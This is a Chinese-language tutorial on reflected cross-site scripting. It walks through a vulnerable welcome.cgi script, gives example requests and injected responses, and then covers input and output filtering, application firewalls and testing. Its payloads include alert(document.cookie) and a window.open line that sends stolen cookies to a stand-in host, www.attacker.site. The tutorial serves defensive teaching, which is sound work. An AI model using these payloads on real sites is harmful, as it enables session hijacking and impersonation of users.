Web 2.0應(yīng)用安全深入解析：企業(yè)級Web應(yīng)用安全解決方案
在跨站腳本攻擊中會發(fā)生什么
跨站腳本攻擊（cross-site scripting，簡稱XSS），是黑客用來潛入 Web 應(yīng)用程序的最普遍的應(yīng)用程序?qū)庸糁弧SS 是針對特殊 Web 站點的客戶隱私的攻擊，當客戶詳細信息失竊或受控時可能引發(fā)徹底的安全威脅。大部分網(wǎng)站攻擊只涉及兩個群體：黑客和 Web 站點，或者黑客和客戶端受害者。與那些攻擊不同的是，XSS 攻擊同時涉及三個群體：黑客、客戶端和 Web 站點。
XSS 攻擊的目的是盜走客戶端 cookies，或者任何可以用于在 Web 站點確定客戶身份的其他敏感信息。手邊有了合法用戶的標記，黑客可以繼續(xù)扮演用戶與站點交互，從而冒充用戶。舉例來說，在對一個大型公司的調(diào)查中表明，利用 XSS 攻擊窺視用戶的信用卡號碼和私有信息是可能的。這是通過利用 Web 站點的訪問特權(quán)，在受害者（客戶端）瀏覽器上運行惡意的 JavaScript 代碼來實現(xiàn)的。這些是非常有限的 JavaScript 特權(quán)，除了與站點相關(guān)的信息，一般不允許腳本訪問其他任何內(nèi)容。重點強調(diào)的是，雖然 Web 站點上存在安全漏洞，但是 Web 站點從未受到直接傷害。但是這已經(jīng)足夠讓腳本收集 cookies，并且將它們發(fā)送給黑客。因此，黑客獲得 cookies 并冒充受害者。
XSS 技術(shù)的深入解析
讓我們調(diào)用受攻擊的站點，傳統(tǒng)的 XSS 攻擊的核心處位于脆弱的站點中的脆弱的腳本。這些腳本讀取部分 HTTP 請求（通常是參數(shù)，但有時也有 HTTP 頭域或路徑），并且在首次不加密的情況下全部或部分地將其回送給響應(yīng)頁面（因而，不確保它不包含 JavaScript 代碼或 HTML 標簽）。因此，假設(shè)該腳本名為 welcome.cgi，其參數(shù)為 name。可以通過以下方式進行操作：
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site
響應(yīng)是：
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker <BR>
Welcome to our system
...
</HTML>
這是怎樣被盜用的呢？黑客設(shè)法引誘受害客戶點擊他們提供給用戶的鏈接。這是一個精心設(shè)計且蓄含惡意的鏈接，誘使受害者的 Web 瀏覽器訪問站點（www.vulnerable.site），并調(diào)用入侵腳本。該腳本的數(shù)據(jù)里包含了用于非法訪問客戶端瀏覽器為 www.vulnerable.site 站點所存儲 cookies 的 JavaScript。這是允許的，因為客戶端瀏覽器“運行過”來自 www.vulnerable.site 的 JavaScript，并且 JavaScript 安全模型允許來自特殊站點的腳本訪問屬于該站點的 cookies。
這樣的鏈接如下：
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
受害者點擊鏈接之后將生成對 www.vulnerable.site 的請求，如下所示：
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site ...
脆弱的站點的響應(yīng)是：
<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
<BR> Welcome to our system ...
</HTML>
受害者客戶端的瀏覽器將把該響應(yīng)解釋為包含一段 JavaScript 代碼的 HTML 頁面。當執(zhí)行時，該代碼被允許訪問所有屬于 www.vulnerable.site 的 cookies。因此，它將在客戶端瀏覽器中彈出一個窗口，顯示屬于 www.vulnerable.site 的所有客戶端 cookies。
當然，真正的惡意攻擊包含了將這些 cookies 發(fā)送給黑客的操作。對此，黑客可能建立 Web 站點（www.attacker.site）并使用腳本來接收 cookies。替代彈出窗口，黑客會書寫訪問 www.attacker.site 的 URL 的代碼，從而調(diào)用接收 cookie 的腳本，其參數(shù)設(shè)置為被竊取的 cookies。這樣，黑客可以從 www.attacker.site 服務(wù)器上獲得 cookies。
惡意的鏈接會是：
http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect
.cgi?cookie="%2Bdocument.cookie)</script>
響應(yīng)頁面看起來像這樣：
<HTML> <Title>Welcome!</Title> Hi
<script>window.open("http:// www.2cto.com /collect.cgi?cookie="+document.cookie)</script>
<BR>
Welcome to our system ... </HTML>
加載該頁面的瀏覽器會立即執(zhí)行內(nèi)嵌的 JavaScript，并向 www.attacker.site 中的 collect.cgi 腳本發(fā)送請求，并附帶著瀏覽器已經(jīng)擁有的 www.vulnerable.site 的 cookies 的值。這樣就泄漏了客戶端所擁有的 www.vulnerable.site 的 cookies。這將允許黑客冒充受害者?？蛻舻碾[私就完全被破壞了。
注意：
引發(fā) JavaScript 彈出窗口的出現(xiàn)通常足夠說明該站點容易受到 XSS 攻擊。如果可以調(diào)用 JavaScript Alert 方法，那么通常沒理由 window.open 調(diào)用不成功。這就是為什么大部分 XSS 攻擊的實例使用 Alert 方法，因為這很容易檢測其成功。
范圍和可行性
攻擊只會在受害者用于訪問站點（www.vulnerable.site）的同一個瀏覽器中發(fā)生。黑客需要強迫客戶端訪問惡意鏈接。這會以以下這些方式進行：
黑客發(fā)送包含強迫瀏覽器訪問該鏈接的 HTML 頁面的電子郵件消息。這要求受害者使用 HTML 有效的電子郵件客戶端，并且客戶端的 HTML 閱讀器是用于訪問 www.vulnerable.site 的同一個瀏覽器。
客戶端訪問可能受黑客運作的站點，其中的圖片鏈接或其他激活的 HTML 強迫瀏覽器訪問該鏈接。再次聲明，必須要求瀏覽器與訪問該站點和 www.vulnerable.site 的是同一個瀏覽器。
惡意的 JavaScript 可以訪問任何下列信息：
瀏覽器維護的（www.vulnerable.site 的）永久 cookies。
瀏覽器實例維護的（www.vulnerable.site 的）RAM cookies，但只有當最近瀏覽 www.vulnerable.site 時發(fā)生。
為 www.vulnerable.site 打開的其他窗口的名稱。
可以通過當前的 DOM 訪問的任何信息（如值、HTML 代碼，等等）。
身份識別、驗證和授權(quán)標志通常以 cookies 形式維護。如果這些 cookies 是永久的，那么即使不在訪問 www.vulnerable.site 的時候使用瀏覽器，受害者也是易受攻擊的。然而，如果 cookies 是臨時的，例如 RAM cookies，那么客戶端必須處于訪問 www.vulnerable.site 的會話中。
身份識別標志的另一種可能的實現(xiàn)是通過 URL 參數(shù)。在這種情況下，可以用這種方式使用 JavaScript 訪問其他窗口（假設(shè)帶有必要的 URL 參數(shù)的頁面的名稱為 foobar）：
<script>var victim_window=open(",'foobar');alert('Can access:' +victim_window.location.search)</script>
跨站點腳本攻擊的多種情形
除了 <SCRIPT>，使用其他 HTML 標簽來運行 JavaScript 也是可能的。事實上，同樣可能的是，惡意的 JavaScript 代碼存儲在另一個服務(wù)器上，并強迫客戶端下載該腳本并執(zhí)行它，如果要運行許多代碼，或者代碼中包含特殊字符時，這是很有用。
關(guān)于這些可能性的一些情形：
除了 <script>...</script>，黑客可以使用 <img src="javascript:...">。這對于過濾 <script> HTML 標簽的站點來說很好用。
除了 <script>...</script>，還可以使用 <script src="http://...">。這對于 JavaScript 代碼過長，或者其中包含了禁止字符時的情況是很好用的。
有時候，響應(yīng)頁面中內(nèi)嵌的數(shù)據(jù)處于非自由的 HTML 環(huán)境中。在這種情況下，首先必要的是“逃”到自由的環(huán)境中，然后附加 XSS 攻擊。舉例來說，如果以 HTML 表單字段的默認值注入數(shù)據(jù)：
<input type=text name=user value="...">
那么在數(shù)據(jù)的開頭必需包含 "> ，從而逃到自由的 HTML 環(huán)境中。數(shù)據(jù)可能是：
"><script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
結(jié)果得到的 HTML 是：
<input type=text name=user value=""><script>window.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
執(zhí)行傳統(tǒng)的 XSS 攻擊的其他方式
到此為止，我們已經(jīng)看到 XSS 攻擊可以出現(xiàn)在用腳本回送響應(yīng)的 GET 請求的參數(shù)中。但是也可以用 POST 請求實現(xiàn)攻擊，或者利用 HTTP 請求的路徑組件 —— 甚至使用一些 HTTP 頭（例如 Referer）。
特別是，當錯誤頁面返回錯誤的路徑時，路徑組件就有用了。在這種情況下，包含在該路徑中的惡意腳本經(jīng)常都會執(zhí)行。已發(fā)現(xiàn)許多 Web 服務(wù)器都容易受到這種攻擊。
什么出了問題？
很重要的是要知道，雖然 Web 站點不直接受到這種攻擊的影響（站點繼續(xù)正常工作，惡意代碼不在站點上執(zhí)行，不會出現(xiàn) DoS 情況，并且數(shù)據(jù)不直接受控，或從站點上讀?。?，但是它仍舊是站點向其訪問者或客戶端提供的隱私保護機制中的缺陷。這就像站點使用薄弱的安全標志（security token）部署應(yīng)用程序，借此，黑客可以猜出客戶的安全標志并冒充客戶。
應(yīng)用程序中的脆弱點是不管參數(shù)值是什么都回送參數(shù)的腳本。好的腳本確保參數(shù)的格式是適當?shù)?，包含合理的字符，等等。有效的參?shù)通常沒有合理的理由包含 HTML 標簽或 JavaScript 代碼，可靠起見，應(yīng)該在這些內(nèi)容嵌入響應(yīng)之前，或者在應(yīng)用程序中處理這些內(nèi)容之前，將它們從參數(shù)中去掉。
如何保護站點不受 XSS 攻擊
用這三種方式可以保護站點不受 XSS 攻擊：
1. 執(zhí)行內(nèi)部的輸入過濾（有時候稱為輸入清潔設(shè)備）。對于內(nèi)部書寫的每個腳本中的每個用戶輸入 —— 參數(shù)或 HTTP 頭，都應(yīng)該應(yīng)用高級的 HTML 標簽（包括 JavaScript 代碼）過濾。舉例來說，來自之前的案例研究中的 welcome.cgi 腳本在解碼 name參數(shù)之后，應(yīng)該過濾 <script> 標簽。該方法有一些嚴重的不利因素：
◆它要求應(yīng)用程序的編程人員非常精通安全。
◆它要求編程人員覆蓋所有可能的輸入來源（查詢參數(shù)、POST 請求的 body 參數(shù)、HTTP 頭）。
◆它不能抵御第三方腳本或服務(wù)器中的安全漏洞。舉例來說，它不能防御 Web 服務(wù)器錯誤頁面中的問題（通常顯示了資源的路徑）。
2. 執(zhí)行“輸出過濾”，換句話說，當發(fā)回給瀏覽器時過濾用戶數(shù)據(jù)，而不是當被腳本接收時。一個很好的示例是通過一個腳本將輸入數(shù)據(jù)插入到數(shù)據(jù)庫中，然后再從數(shù)據(jù)庫呈現(xiàn)數(shù)據(jù)。在這種情況下，重要的是不向原始的輸入字符串應(yīng)用過濾，而只向輸出版本應(yīng)用過濾。這種方法的缺陷類似于對輸入過濾的缺陷。
3. 通過安裝第三方應(yīng)用程序防火墻，防火墻在 XSS 攻擊到達 Web 服務(wù)器和易受攻擊的腳本之前攔截它們，并阻塞它們。不論是來自內(nèi)部應(yīng)用程序的腳本或路徑、第三方腳本，或根本不描述資源的腳本（舉例來說，用來引起來自服務(wù)器的 404 頁面響應(yīng)的腳本），應(yīng)用程序防火墻都可以以一般的方式覆蓋所有輸入方法（包括路徑和 HTTP 頭）。對于每個輸入源，應(yīng)用程序防火墻根據(jù)各種 HTML 標簽?zāi)Ｊ胶?JavaScript 模式檢查數(shù)據(jù)。如果匹配成功，就拒絕該請求，惡意的輸入不會到達服務(wù)器。
檢查您的站點是否處于 XSS 攻擊保護的方法
檢查站點免于遭受 XSS 攻擊是加強站點安全保護的必然結(jié)論。正如保護站點免于遭受 XSS 攻擊一樣，檢查站點的確安全也可以通過手工完成（硬方法），或利用自動的 Web 應(yīng)用程序安全漏洞評估工具，它減輕了檢查的負擔。該工具爬遍站點，然后根據(jù)嘗試參數(shù)、頭，和路徑找到的所有腳本，運行其知道的所有變化。在這兩種方法中，用盡可能多的方式檢查對應(yīng)用程序的每個輸入（所有腳本的參數(shù)、HTTP 頭、路徑）。如果響應(yīng)頁面包含瀏覽器可以執(zhí)行的 JavaScript 代碼，那么 XSS 安全漏洞就已顯露出來。舉例來說，發(fā)送此文本：
<script>alert(document.cookie)</script>
對每個腳本的每個參數(shù)（通過允許 JavaScript 的瀏覽器暴露出最簡單類型的 XSS 安全漏洞），如果將文本解釋為 JavaScript 代碼，那么瀏覽器將彈出 JavaScript Alert 窗口。當然，還有很多其他情形，因此，只測試這種情形是不夠的。如您已經(jīng)很了解的話，很可能將 JavaScript 注入請求的各種字段中：參數(shù)、HTTP 頭，和路徑。盡管，在一些情況下（特別是 HTTP Referer 頭），很難利用瀏覽器執(zhí)行攻擊。
總結(jié)
跨站腳本攻擊是黑客用來潛入 Web 應(yīng)用程序的最普遍的應(yīng)用程序?qū)庸糁?，并且是最危險的手段之一。它是針對特殊 Web 站點的客戶隱私的攻擊，當客戶詳細信息失竊或受控時可能引發(fā)徹底的安全問題。不幸的是，如本文所闡述的，這種攻擊經(jīng)常在無需了解客戶或被攻擊組織情況的前提下就可以實現(xiàn)。
要防止 Web 站點受到這些惡意行為的攻擊，至關(guān)重要的是，組織要實現(xiàn)在線和脫機的安全策略。這包括使用能夠自動化測試出站點中所有普遍的 Web 安全漏洞，和具體應(yīng)用程序的安全漏洞（例如跨站腳本）的自動化安全漏洞評估工具。對于全面的在線防衛(wèi)，同樣至關(guān)重要的是安裝可以檢測并抵御任何對保存在 Web 服務(wù)器上，或其背后的代碼和內(nèi)容實施控制的防火墻應(yīng)用程序。
